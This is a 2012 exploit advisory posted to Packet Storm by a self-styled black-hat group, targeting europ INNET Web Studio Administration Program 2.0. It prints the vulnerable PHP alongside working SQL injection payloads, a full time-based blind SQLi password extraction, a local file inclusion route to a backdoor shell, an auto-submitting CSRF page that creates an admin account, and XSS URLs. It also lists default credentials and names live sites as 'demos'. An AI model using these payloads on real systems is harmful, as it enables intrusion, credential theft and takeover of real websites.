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europ INNET Web Studio Administration Program 2.0 XSS / CSRF / LFI

europ INNET Web Studio Administration Program 2.0 XSS / CSRF / LFI
Posted Jul 26, 2012
Authored by Akastep

europ INNET Web Studio Administration Program version 2.0 suffers from cross site request forgery, cross site scripting, local file inclusion, path disclosure, and remote SQL injection vulnerabilities.

tags | exploit, remote, web, local, vulnerability, xss, sql injection, file inclusion, csrf
SHA-256 | 8b945b66041046c68f9608814b1da5af72c0a32cca28ec9997b10974d6f42623

europ INNET Web Studio Administration Program 2.0 XSS / CSRF / LFI

Change Mirror Download
======================================================
Vulnerable software: Administration Programm v 2.0
Vendor: europ INNET Web Studio, www.europ-innet.com
======================================================
************************ Vulnerabilities: *************************************



//insert_guest_book.php
==============VULNERABLE CODE SECTION=================

<?
session_start();
ob_start();

if (!isset($_POST['guest_submit']))
exit();

include('admin/connect.php');
include('admin/api.php');


$name = $_POST['g_name'];
$message = $_POST['g_message'];



if (trim($_POST['g_message']) == '')
{
header('location:view-page-33-gm-2.html');exit();
}
if ($_SESSION['image_random_value'] != md5($_POST['e_code']))
{
header('location:view-page-33-gm-3.html');exit();
}


$query = "INSERT INTO `guest_book` SET `name`='".$_POST['g_name']."', `Enable`='0', `message`='".$_POST['g_message']."';";


mysql_query($query,$conn);



header('location:view-page-33-gm-1.html');

?>

============== END OF VULNERABLE CODE SECTION =======================


Exploitation:


Payload: ' or message=(select concat(login,0x7c,password) from us_config limit 1),message=(select concat(login,0x7c,password) from us_config limit 1),enable=1-- AND 0='0


URL: http://192.168.0.15/learn/7878/view-page-33-gm-1.html
REQUEST METHOD: POST


HTTP HEADERS:

Host: 192.168.0.15
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Cookie: ASPX=urjgh0qn8jldqigu6hrsqhc5cr4lf80f
Content-Type: application/x-www-form-urlencoded
Content-Length: 449




POST BODY:


g_name=%27+or+message%3D%28select+concat%28login%2C0x7c%2Cpassword%29+from+us_config+limit+1%29%2Cmessage%3D%28select+concat%28login%2C0x7c%2Cpassword%29+from+us_config+limit+1%29%2Cenable%3D1--+AND+0%3D%270&g_message=%27+or+message%3D%28select+concat%28login%2C0x7c%2Cpassword%29+from+us_config+limit+1%29%2Cmessage%3D%28select+concat%28login%2C0x7c%2Cpassword%29+from+us_config+limit+1%29%2Cenable%3D1--+AND+0%3D%270&e_code=15984&guest_submit=Send




RESULT: You will see credentials like: developer|0cc175b9c0f1b6a831c399e269772661


Theris also possible to create XSS through SQLi

Payload:

' or message=(select 0x3C7363726970743E616C6572742827596F752068617665204265656E2050774E654420427920417A65726261696A616E20426C61636B204861745A27293B3C2F7363726970743E),message=(select 0x3C7363726970743E616C6572742827596F752068617665204265656E2050774E654420427920417A65726261696A616E20426C61636B204861745A27293B3C2F7363726970743E),enable=1-- AND 0='0



Print Screen: http://s59.radikal.ru/i165/1207/a7/2bd24a646ee3.png



========================================================================


Second: Blind SQL Injection

We used time based way to obtain credentials (I spent 6 hours of my life to extract completely tables+columns+credentials for password: a)


=========================================================================
//includes/news_subscription.php
<?
session_start();
ob_start();

if (!isset($_POST['email_submit']))
exit();


$p_email_2 = $_POST['p_email_2'];



$query = "INSERT INTO `users_email_list` SET `users_email`='".$_POST['p_email_2']."';";
mysql_query($query,$conn);


?>
======================END OF VULNERABLE CODE SECTION==================================

Here is that *final* stage of obtaining admin credentials:


developer adli soska xacikin parolunun 1 ci simvolu:
=================================================================
1-ci simvol: 0
//TRUE
email_submit=&p_email_2=' or (select if(substr(`password`,1,1)='0',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================
2-ci simvol: c
email_submit=&p_email_2=' or (select if(substr(`password`,2,1)='c',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================
3-cu simvol: c (yoxla sonra)

email_submit=&p_email_2=' or (select if(substr(`password`,3,1)='c',sleep(50),0) from us_config limit 1)-- AND 5='5


=================================================================
4-cu simvol: 1

email_submit=&p_email_2=' or (select if(substr(`password`,4,1)='1',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================
5-ci simvol: 7

email_submit=&p_email_2=' or (select if(substr(`password`,5,1)='7',sleep(50),0) from us_config limit 1)-- AND 5='5


=================================================================
6-ci simvol: 5

email_submit=&p_email_2=' or (select if(substr(`password`,6,1)='5',sleep(50),0) from us_config limit 1)-- AND 5='5


=================================================================

7-ci simvol: b (yoxla sonra)

email_submit=&p_email_2=' or (select if(substr(`password`,7,1)='b',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================
8-ci simvol: 9 (yoxla sonra)

email_submit=&p_email_2=' or (select if(substr(`password`,8,1)='9',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================
9-cu simvol: c

email_submit=&p_email_2=' or (select if(substr(`password`,9,1)='c',sleep(50),0) from us_config limit 1)-- AND 5='5
=================================================================

10-cu simvol: 0 (yoxla sonra)

email_submit=&p_email_2=' or (select if(substr(`password`,10,1)='0',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

11-ci simvol: f

email_submit=&p_email_2=' or (select if(substr(`password`,11,1)='f',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

12-ci simvol: 1 (yoxla sonra server gicliyir nese sehv ola biler netice)

email_submit=&p_email_2=' or (select if(substr(`password`,12,1)='1',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

13-cu simvol: b

email_submit=&p_email_2=' or (select if(substr(`password`,13,1)='b',sleep(50),0) from us_config limit 1)-- AND 5='5


=================================================================

14-cu simvol: 6

email_submit=&p_email_2=' or (select if(substr(`password`,14,1)='6',sleep(50),0) from us_config limit 1)-- AND 5='5


=================================================================

15-ci simvol: a

email_submit=&p_email_2=' or (select if(substr(`password`,15,1)='a',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

16-ci simvol: 8

email_submit=&p_email_2=' or (select if(substr(`password`,16,1)='8',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

17-ci simvol: 3

email_submit=&p_email_2=' or (select if(substr(`password`,17,1)='3',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

18-ci simvol: 1

email_submit=&p_email_2=' or (select if(substr(`password`,18,1)='1',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

19-cu simvol: c

email_submit=&p_email_2=' or (select if(substr(`password`,19,1)='c',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

20-ci simvol: 3

email_submit=&p_email_2=' or (select if(substr(`password`,20,1)='3',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

21-ci simvol: 9

email_submit=&p_email_2=' or (select if(substr(`password`,21,1)='9',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

22-ci simvol: 9

email_submit=&p_email_2=' or (select if(substr(`password`,22,1)='9',sleep(50),0) from us_config limit 1)-- AND 5='5


=================================================================

23-cu simvol: e

email_submit=&p_email_2=' or (select if(substr(`password`,23,1)='e',sleep(50),0) from us_config limit 1)-- AND 5='5


=================================================================

24-cu simvol: 2

email_submit=&p_email_2=' or (select if(substr(`password`,24,1)='2',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

25-ci simvol: 6

email_submit=&p_email_2=' or (select if(substr(`password`,25,1)='6',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================
26-ci simvol: 9

email_submit=&p_email_2=' or (select if(substr(`password`,26,1)='9',sleep(50),0) from us_config limit 1)-- AND 5='5


=================================================================

27-ci simvol: 7

email_submit=&p_email_2=' or (select if(substr(`password`,27,1)='7',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

28-ci simvol: 7


email_submit=&p_email_2=' or (select if(substr(`password`,28,1)='7',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================
29-cu simvol: 2

email_submit=&p_email_2=' or (select if(substr(`password`,29,1)='2',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

30-cu simvol: 6

email_submit=&p_email_2=' or (select if(substr(`password`,30,1)='6',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

31-ci simvol: 6

email_submit=&p_email_2=' or (select if(substr(`password`,31,1)='6',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

32-ci simvol: 1

email_submit=&p_email_2=' or (select if(substr(`password`,32,1)='1',sleep(50),0) from us_config limit 1)-- AND 5='5

=================================================================

Login: developer
MD5 HASH: 0cc175b9c0f1b6a831c399e269772661
Pass: a



==================================================================


Local File Inclusion+Exploitation:


//admin/editor.php
===================== BEGIN VULNERABLE CODE SECTION======================
$page=$_GET["page"];

// CALCULATE ACCESS LEVEL
$res=mysql_query("SELECT * FROM `navigation_menu` where Section='".$section."' and Page='".$page."'",$conn);
$arr2=mysql_fetch_array($res);
if($arr2['access_level__Name__Access_Level']!=''){
$_SESSION['s_admin_access_level']=$arr2['access_level__Name__Access_Level'];
}


/////////////////////////// FIX PAGE
if($page==""){$page="main";}
if(is_file("includes/".$page.".php")==false){$page="main";}


BTW,same code snippet also is vulnerable to SQL injection but it is a bit hard to exploit it because you will get permission error.

You can use this way to obtain others passwords:

http://192.168.0.15/learn/7878/admin/editor.php?page=help%27%20or%20%28select%20if%28substr%28login,1,1%29=%27d%27,sleep%2830%29,0%29%20from%20us_config%20limit%201%29--%20ANd%20999=%27999



====================END OF VULNERABLE CODE SECTION ======================


Goto:
http://site.tld/admin/editor.php?page=images/images

First Upload your backdoor as *.gif file:


Then try to include it like this:


http://site.tld/admin/editor.php?page=../..///db/mea.gif%00

You will get shell there ;)


==========================================================================


CSRF add admin:
Login: akastep
Password: akastep



=================BEGIN EXPLOIT============================================

<!DOCTYPE HTML>
<head>
<title>0day For you.</title>

</head>

<body onload="javascript:document.forms[0].submit()">


<form method="post" action="http://===>CHANGE_TO_TARGET<===/admin/editor.php?page=submit&section=us_config">

<input type="text" name="Full_Name" value="akastep" />
<select name="access_level__Name__Access_Level">

<option value="">None</option>
<option value="1">Content Manager</option>
<option value="2">Advanced Manager</option>
<option value="3">Administrator</option>
<option value="4">System Administrator</option>
<option value="5" selected>Developer</option>

</select>
<!-- Developer = High Privilegie -->

<input type="text" name="combobox_access_level__Name__Access_Level" value="1" />

<input type="text" name="Email" value="pipi@pipi.tld" />

<input type="text" name="Login" value="akastep">

<input type="text" name="Password_password_cache" value="akastep">
<input type="text" name="Password" value="akastep" />
<input type="checkbox" name="Javascript_Navigation" value="1">

<input type="text" name="id" value="new" />



</form>
</body>
</html>


=================END OF CSRF EXPLOIT===================================



XSS:


http://192.168.0.15/learn/7878/admin/editor.php?section=users_email_list&show_page=18%3Cscript%3Ealert%28%22Enjoy%20With%200day%20xD%22%29;%3C/script%3E



========================================================================
Deafult Password:

We found few .am sites which uses this cms with following credentials:

Login: developer
Password: a
========================================================================

Path Disclosure:

http://192.168.0.15/learn/7878/admin/includes/auth.php


Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\7878\admin\includes\auth.php on line 14

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\7878\admin\includes\auth.php on line 15 Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\7878\admin\includes\auth.php on line 39

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\7878\admin\includes\auth.php on line 46

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\learn\7878\admin\includes\auth.php on line 49


http://www.europ-innet.com/menu.php


Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /home/content/e/u/r/europinnet1112/html/menu.php on line 6

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/content/e/u/r/europinnet1112/html/menu.php on line 8



=========================================================================


==========================================================================

Demo: dsif-am.org

Want more demos?

http://www.europ-innet.com/view-page-8.html

Enjoy)

********************* AZERBAIJAN BLACK HATZ***********************************
Of course we never forget our friends so, A BIG RESPECTS+THANKS TO ALL:
===========================================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
1337day.com
secunia.com
securityhome.eu
exploitsdownload.com
exploit-db.com
to all AA Team + to all Azerbaijan Black HatZ +
*Especially to my bro CAMOUFL4G3.*
===========================================================

Thanks + Respect to all friends!

/AkaStep & BOT_25
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